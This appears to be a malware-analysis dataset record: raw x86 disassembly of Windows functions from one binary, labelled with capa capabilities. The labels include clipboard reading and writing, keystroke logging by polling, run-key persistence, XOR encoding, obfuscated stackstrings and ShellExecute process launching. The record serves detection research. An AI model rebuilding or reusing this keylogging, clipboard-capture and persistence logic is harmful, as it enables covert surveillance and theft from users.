joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4532f4
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00405014
xor eax, eax
push ebp
push 0x453422
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x4533f5
xor eax, eax
push ebp
push 0x4533ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404e2c
inc eax
push eax
push 0x2002
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4533c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov ebx, eax
xor eax, eax
push ebp
push 0x4533b2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404e2c
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00405024
mov edx, ebx
pop ecx
call fcn.00402a8c
call sub.user32.dll_EmptyClipboard
mov eax, dword [ebp - 8]
push eax
push 1
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4533b9
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
ret
mov ecx, dword [0x482640]
mov dl, 1
mov eax, dword [0x408108]
call fcn.0040b094
call fcn.004045b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453429
lea eax, [ebp - 4]
call fcn.00404b74
ret
Function at 0x453430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4535e1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x10]
mov edx, 0x1b
mov al, 0x2d
call fcn.00405214
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x4535f8
call fcn.00404e78
mov eax, ebx
call fcn.0041d674
mov edi, eax
dec edi
test edi, edi
jl 0x4534e8
inc edi
xor esi, esi
mov edx, esi
mov eax, ebx
call fcn.0041d648
mov edx, dword [0x42a170]
call fcn.00403f74
test al, al
je 0x4534e4
push dword [ebp - 0xc]
mov edx, esi
mov eax, ebx
call fcn.0041d648
lea edx, [ebp - 0x14]
call fcn.004476c0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov edx, 3
mov al, 0x20
call fcn.00405214
push dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404eec
inc esi
dec edi
jne 0x453496
mov al, byte [0x4535fc]
push eax
lea eax, [ebp - 0x1c]
push eax
xor ecx, ecx
mov edx, 0x453608
mov eax, dword [ebp - 0xc]
call fcn.0040c0e0
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
call fcn.00404c0c
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x68], 0xb
lea edx, [ebp - 0x70]
mov eax, ebx
call fcn.004476c0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x60], 0xb
mov eax, 0x4535f8
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x58], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x50], 0xb
lea edx, [ebp - 0x74]
mov eax, dword [ebx + 0x2f0]
call fcn.004476c0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x48], 0xb
mov eax, 0x4535f8
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x40], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
mov eax, 0x4535f8
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
lea edx, [ebp - 0x6c]
mov ecx, 9
mov eax, 0x453614
call fcn.00409d44
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4535e8
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00404b98
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404b98
lea eax, [ebp - 0x14]
call fcn.00404b74
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404b98
ret
Function at 0x4540c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
mov word [ebp - 4], cx
mov word [ebp - 2], dx
mov ebx, eax
cmp word [ebp - 4], 0x10
jne 0x454101
movzx eax, word [ebp - 2]
shr eax, 1
mov word [ebp - 2], ax
movzx esi, word [ebp - 2]
dec esi
test esi, esi
jl 0x454101
inc esi
xor eax, eax
mov edx, eax
add edx, edx
mov dl, byte [ebx + edx + 1]
xor dl, 0x80
mov byte [ebx + eax], dl
inc eax
dec esi
jne 0x4540ef
movzx eax, word [ebp - 2]
cmp word [ebp - 2], 0x3e8
jb 0x45422e
xor edx, edx
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, 0xc8
mov dword [ebp - 0x14], 0x50
mov dword [ebp - 0x18], 0x32
cmp word [ebp + 8], 0x2b11
je 0x454148
shl eax, 2
mov ecx, dword [ebp - 0x14]
shl ecx, 2
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x18]
shl ecx, 2
mov dword [ebp - 0x18], ecx
mov esi, dword [ebp - 0x14]
add esi, eax
add esi, dword [ebp - 0x18]
sub esi, eax
jl 0x454164
inc esi
cmp dl, byte [ebx + eax]
jae 0x454160
mov dl, byte [ebx + eax]
mov dword [ebp - 0x10], eax
inc eax
dec esi
jne 0x454155
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x4541e1
xor edx, edx
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 8]
add esi, dword [ebp - 0x18]
sub esi, eax
jl 0x454197
inc esi
cmp dl, byte [ebx + eax]
jae 0x454193
mov dl, byte [ebx + eax]
mov dword [ebp - 0x10], eax
inc eax
dec esi
jne 0x454188
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
xor edx, edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x14]
mov esi, eax
add esi, dword [ebp - 0x18]
sub esi, eax
jl 0x4541be
inc esi
cmp dl, byte [ebx + eax]
jae 0x4541ba
mov dl, byte [ebx + eax]
mov dword [ebp - 0x10], eax
inc eax
dec esi
jne 0x4541af
mov esi, dword [ebp - 0x10]
sub esi, dword [ebp - 8]
inc esi
mov eax, dword [ebp - 0xc]
lea edx, [ebx + eax]
mov eax, dword [ebp - 8]
lea eax, [ebx + eax]
mov ecx, esi
call fcn.00402a8c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
add dword [ebp - 0xc], esi
movzx eax, word [ebp - 2]
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
add edx, edx
sub eax, edx
cmp eax, dword [ebp - 8]
jg 0x454172
jmp 0x45420c
mov eax, dword [ebp - 8]
mov al, byte [ebx + eax]
mov edx, dword [ebp - 0xc]
mov byte [ebx + edx], al
inc dword [ebp - 0xc]
inc dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx eax, byte [ebx + eax]
sub eax, 0x80
cdq
xor eax, edx
sub eax, edx
cmp eax, 0x14
jle 0x45422b
movzx eax, word [ebp - 2]
cmp eax, dword [ebp - 8]
jg 0x4541fa
mov eax, dword [ebp - 0xc]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x45e020
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x40d340]
call fcn.00405584
xor eax, eax
push ebp
push 0x45e164
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x481828], 0
jne 0x45e073
mov ecx, dword [0x4825ec]
mov dl, 1
mov eax, dword [0x408108]
call fcn.0040b094
call fcn.004045b4
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403240
mov eax, ebx
call fcn.004053f4
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x45e174
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004069d0
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00405404
test eax, eax
jle 0x45e10b
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x45e104
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404df4
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404ddc
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408f50
test eax, eax
jne 0x45e104
mov ebx, 0x15
jmp 0x45e110
mov ebx, 0x10
jmp 0x45e110
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x481828]
call fcn.0045df78
mov eax, dword [ebp - 8]
call fcn.0045df78
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004069e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45e16b
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404b98
lea eax, [ebp - 0x10]
mov edx, dword [0x40d340]
call fcn.00405654
ret

Function at 0x469bd4
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0xc
add esp, 0xfffff004
push eax
dec eax
jne 0x469bdd
mov eax, dword [ebp - 4]
add esp, 0xfffffca4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405014
mov eax, dword [ebp - 8]
call fcn.00405014
mov eax, dword [ebp - 0xc]
call fcn.00405014
mov eax, dword [ebp + 0xc]
call fcn.00405014
xor eax, eax
push ebp
push 0x469c8d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 0xc]
call fcn.00405024
push eax
push 0xc350
lea eax, [ebp - 0xc35d]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00405024
push eax
mov eax, dword [ebp - 8]
call fcn.00405024
push eax
mov eax, dword [ebp - 4]
call fcn.00405024
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
mov edx, dword [ebp + 8]
lea eax, [ebp - 0xc35d]
call fcn.004097c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469c94
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404b98
lea eax, [ebp + 0xc]
call fcn.00404b74
ret
Function at 0x46a044
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor ebx, ebx
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405014
mov eax, dword [ebp - 8]
call fcn.00405014
mov eax, dword [ebp - 0xc]
call fcn.00405014
xor eax, eax
push ebp
push 0x46a146
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x114]
call fcn.00473180
lea eax, [ebp - 0x114]
mov edx, 0x46a15c
call fcn.00404e34
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00469c9c
cmp byte [0x50504c], 0
je 0x46a11b
push 0xff
lea eax, [ebp - 0x110]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x110]
call fcn.004097c8
lea eax, [ebp - 0x118]
mov ecx, 0x46a15c
mov edx, dword [ebp - 0x10]
call fcn.00404e78
mov eax, dword [ebp - 0x118]
call fcn.0040938c
test al, al
je 0x46a11b
push 0x46a170
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00469c9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a14d
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.00404b98
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404b98
ret
Function at 0x472318
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov ebp, eax
test edi, edi
je 0x47237d
mov eax, dword [0x50540c]
push eax
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x47237d
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
test ebx, ebx
je 0x472374
push ebx
call sub.kernel32.dll_GlobalLock
mov dword [esp], eax
mov eax, dword [esp]
call fcn.004095d0
mov esi, eax
inc esi
cmp edi, esi
jge 0x47235b
mov esi, edi
mov edx, ebp
mov eax, dword [esp]
mov ecx, esi
call fcn.00402a8c
mov byte [ebp + esi - 1], 0
push ebx
call sub.kernel32.dll_GlobalUnlock
jmp 0x472378
mov byte [ebp], 0
call sub.user32.dll_CloseClipboard
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4725e8
Capabilities:
Log keystrokes via polling

Disassembly:
cmp dword [0x505580], 0
je 0x47260c
mov edx, eax
sub dl, 0x20
je 0x472683
add dl, 0xdf
sub dl, 0x1a
jb 0x472683
add dl, 0xfa
sub dl, 0x1a
jb 0x472683
cmp dword [0x4822e8], 0x40
jge 0x472683
mov edx, eax
cmp dl, 8
jne 0x472644
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x472636
mov eax, dword [0x4822e8]
mov byte [eax + 0x50553c], 0x7f
jmp 0x47267d
mov eax, dword [0x4822e8]
mov byte [eax + 0x50553c], 8
jmp 0x47267d
cmp dl, 0xd
jne 0x472671
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x472663
mov eax, dword [0x4822e8]
mov byte [eax + 0x50553c], 0xa
jmp 0x47267d
mov eax, dword [0x4822e8]
mov byte [eax + 0x50553c], 0xd
jmp 0x47267d
mov edx, dword [0x4822e8]
mov byte [edx + 0x50553c], al
inc dword [0x4822e8]
ret
Function at 0x47283c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
mov byte [ebp - 2], 0
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
setl al
test al, al
jne 0x472864
mov eax, ebx
sub al, 0x20
je 0x47287e
add al, 0xdf
sub al, 0x1a
jb 0x47287e
mov byte [0x505588], 0
mov byte [0x505586], 0
mov byte [0x505587], 0
jmp 0x47297a
mov byte [ebp - 2], 1
xor eax, eax
xor edx, edx
mov dl, bl
cmp edx, 0x4a
jg 0x4728a0
je 0x4728b9
sub edx, 0x20
je 0x4728c5
sub edx, 0x24
je 0x4728b1
sub edx, 2
je 0x4728b5
jmp 0x4728c7
sub edx, 0x4b
je 0x4728bd
dec edx
je 0x4728c1
sub edx, 7
jne 0x4728c7
mov al, 4
jmp 0x4728c7
mov al, 2
jmp 0x4728c7
mov al, 1
jmp 0x4728c7
mov al, 8
jmp 0x4728c7
mov al, 0x10
jmp 0x4728c7
mov al, 0x20
jmp 0x4728c7
mov al, 0x40
not al
and byte [0x505585], al
cmp byte [0x505585], 0
jne 0x47297a
mov al, byte [0x4823cc]
mov byte [ebp - 1], al
cmp byte [0x505584], 0x40
jb 0x47292a
mov byte [0x505586], 0
mov byte [0x505587], 0
mov byte [0x505588], 0
cmp byte [0x505584], 0x40
jne 0x472911
mov byte [ebp - 1], 0x20
jmp 0x47294a
mov al, byte [0x505584]
and al, 0x3f
and eax, 0xff
mov al, byte [eax + 0x482384]
and al, 0x1f
mov byte [ebp - 1], al
jmp 0x47294a
xor eax, eax
mov al, byte [0x505584]
mov al, byte [eax + 0x482384]
mov byte [ebp - 1], al
cmp dword [0x505580], 2
jne 0x47294a
push ebp
call fcn.00472788
pop ecx
mov al, byte [ebp - 1]
cmp al, byte [0x4823cc]
je 0x472973
cmp dword [0x4822e8], 0x3f
jg 0x472973
mov al, byte [ebp - 1]
mov edx, dword [0x4822e8]
mov byte [edx + 0x50553c], al
inc dword [0x4822e8]
mov byte [0x505584], 0
mov al, byte [ebp - 2]
pop ebx
pop ecx
pop ebp
ret
Function at 0x472a04
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push ecx
mov byte [esp], al
mov byte [esp + 1], 1
cmp byte [0x482290], 0
je 0x472a22
cmp byte [esp], 3
jne 0x472a22
call fcn.004717c4
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
setl bl
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
setl byte [esp + 2]
test bl, bl
je 0x472ae1
cmp byte [esp + 2], 0
je 0x472a5f
cmp byte [esp], 0x7b
jne 0x472a5f
xor eax, eax
call fcn.00472684
jmp 0x472b85
cmp byte [esp + 2], 0
je 0x472a7c
cmp byte [esp], 0x7a
jne 0x472a7c
mov eax, dword [0x505580]
inc eax
call fcn.00472684
jmp 0x472b85
mov al, byte [esp]
add al, 0xd0
sub al, 0xa
jb 0x472a8b
add al, 0xf9
sub al, 0x1a
jae 0x472ae1
mov eax, dword [0x4822e8]
mov byte [eax + 0x50553c], 0
inc dword [0x4822e8]
mov al, byte [esp]
add al, 0xbf
sub al, 0x1a
jae 0x472abf
xor eax, eax
mov al, byte [esp]
mov al, byte [eax + 0x48238f]
mov edx, dword [0x4822e8]
mov byte [edx + 0x50553c], al
jmp 0x472ad6
xor eax, eax
mov al, byte [esp]
mov al, byte [eax + 0x4823bc]
mov edx, dword [0x4822e8]
mov byte [edx + 0x50553c], al
inc dword [0x4822e8]
jmp 0x472b85
cmp byte [esp + 2], 0
jne 0x472b01
cmp dword [0x505580], 0
je 0x472b01
mov al, byte [esp]
call fcn.00472730
test al, al
jne 0x472b85
cmp dword [0x4822e8], 0x3e
jg 0x472b85
mov edx, 0x16
mov eax, 0x48232c
mov ebx, eax
xor ecx, ecx
mov cl, byte [esp]
cmp cx, word [ebx]
jne 0x472b7f
mov eax, dword [0x4822e8]
mov byte [eax + 0x50553c], 0
inc dword [0x4822e8]
cmp byte [esp + 2], 0
je 0x472b49
mov eax, dword [0x4822e8]
mov dl, byte [ebx + 3]
mov byte [eax + 0x50553c], dl
jmp 0x472b77
cmp byte [ebx + 3], 0xff
jne 0x472b69
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x472b69
mov eax, dword [0x4822e8]
mov byte [eax + 0x50553c], 0xfe
jmp 0x472b77
mov eax, dword [0x4822e8]
mov dl, byte [ebx + 2]
mov byte [eax + 0x50553c], dl
inc dword [0x4822e8]
jmp 0x472b85
add eax, 4
dec edx
jne 0x472b14
mov al, byte [esp + 1]
pop edx
pop ebx
ret
Function at 0x473180
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x473270
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 4]
mov edx, 0x473284
mov eax, 0x80000001
call fcn.0040d228
lea eax, [ebp - 4]
mov edx, 0x4732d8
call fcn.00404e34
lea eax, [ebp - 0x10c]
mov ecx, 0x4732e8
mov edx, dword [ebp - 4]
call fcn.00404e78
mov eax, dword [ebp - 0x10c]
call fcn.0040938c
test al, al
jne 0x47323b
push 0xff
lea eax, [ebp - 0x108]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea edx, [ebp - 8]
lea eax, [ebp - 0x108]
call fcn.004097c8
lea eax, [ebp - 0x110]
mov ecx, 0x4732e8
mov edx, dword [ebp - 8]
call fcn.00404e78
mov eax, dword [ebp - 0x110]
call fcn.0040938c
test al, al
je 0x47323b
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00404c0c
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00404bc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473277
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.00404b98
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404b98
ret
Function at 0x477408
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 6
add esp, 0xfffff004
push eax
dec eax
jne 0x477411
mov eax, dword [ebp - 4]
add esp, 0xffffffe4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x6020], ebx
mov dword [ebp - 0x601c], ebx
mov dword [ebp - 0x6018], ebx
mov dword [ebp - 0x6014], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405014
mov eax, dword [ebp - 8]
call fcn.00405014
mov eax, dword [ebp - 0xc]
call fcn.00405014
xor eax, eax
push ebp
push 0x4775c0
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x6014]
mov eax, dword [ebp - 4]
call fcn.00408fc0
mov edx, dword [ebp - 0x6014]
lea eax, [ebp - 4]
call fcn.00404c0c
lea eax, [ebp - 0x6018]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405084
mov eax, dword [ebp - 0x6018]
mov edx, 0x4775dc
call fcn.00404f70
jne 0x47753e
lea eax, [ebp - 0x601c]
push eax
mov ecx, 0x3e7
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00405084
mov edx, dword [ebp - 0x601c]
mov eax, 0x4775dc
call fcn.00405168
mov ebx, eax
inc ebx
test ebx, ebx
je 0x47753e
lea eax, [ebp - 0x6020]
push eax
lea esi, [ebx + 1]
mov edx, esi
mov ecx, 0x3e7
mov eax, dword [ebp - 4]
call fcn.00405084
mov eax, dword [ebp - 0x6020]
lea edx, [ebp - 0x10]
call fcn.00408fc0
mov edx, esi
lea eax, [ebp - 4]
mov ecx, 0x3e7
call fcn.004050c4
cmp dword [ebp - 0x10], 0
je 0x47753e
push dword [ebp - 0x10]
push 0x4775e8
push dword [ebp - 0xc]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404eec
lea eax, [ebp - 0x2010]
mov edx, dword [ebp - 4]
call fcn.00409668
lea eax, [ebp - 0x4010]
mov edx, dword [ebp - 8]
call fcn.00409668
lea eax, [ebp - 0x6010]
mov edx, dword [ebp - 0xc]
call fcn.00409668
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x4010]
push eax
lea eax, [ebp - 0x6010]
push eax
lea eax, [ebp - 0x2010]
push eax
push 0x4775ec
mov eax, dword [0x482614]
mov eax, dword [eax]
push eax
call sub.shell32.dll_ShellExecuteA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4775c7
lea eax, [ebp - 0x6020]
mov edx, 4
call fcn.00404b98
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404b98
ret
Function at 0x477eec
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe18
push ebx
xor ecx, ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405014
xor eax, eax
push ebp
push 0x478081
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.00404b74
lea ecx, [ebp - 0x1e0]
mov edx, 0x478098
mov eax, 0x4780ac
call fcn.00469d40
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0xc]
mov ecx, 0x4780bc
call fcn.00404e78
lea ecx, [ebp - 0x1e4]
mov edx, 0x478098
mov eax, 0x4780ac
call fcn.00469d40
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x10]
mov ecx, 0x4780cc
call fcn.00404e78
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1dc]
call fcn.00402e3c
push 0
push 0x4780e4
push 0x4780f0
push dword [ebp - 0x10]
push 0x4780fc
push dword [ebp - 4]
push 0x478108
push dword [ebp - 0xc]
push 0x478114
lea eax, [ebp - 0x1e8]
mov edx, 7
call fcn.00404eec
mov eax, dword [ebp - 0x1e8]
call fcn.00405024
push eax
push 0x47811c
push 0x478120
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x477ff0
mov ax, 0x1f4
call fcn.0047214c
mov eax, 0x478130
call fcn.00477aa0
test al, al
jne 0x477fe7
lea eax, [ebp - 0x1dc]
call fcn.00402bc0
call fcn.004028d8
lea edx, [ebp - 8]
lea eax, [ebp - 0x1dc]
call fcn.004033a4
lea eax, [ebp - 0x1dc]
call fcn.00403410
call fcn.004028d8
lea eax, [ebp - 0x1dc]
call fcn.00402fe0
call fcn.004028d8
lea eax, [ebp - 0x1dc]
call fcn.004031bc
call fcn.004028d8
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00404bc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x478088
lea eax, [ebp - 0x1e8]
mov edx, 3
call fcn.00404b98
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404b98
ret

Function at 0x478288
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, eax
lea eax, [esp + 0x100]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
push esp
push 0
push 0x4782cc
lea eax, [esp + 0x10c]
push eax
call sub.kernel32.dll_GetTempFileNameA
mov edx, ebx
mov eax, esp
call fcn.004097c8
add esp, 0x200
pop ebx
ret

Function at 0x47a424
Capabilities:
Initialize winsock library

Disassembly:
add esp, 0xfffffe70
push esp
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
sete al
add esp, 0x190
ret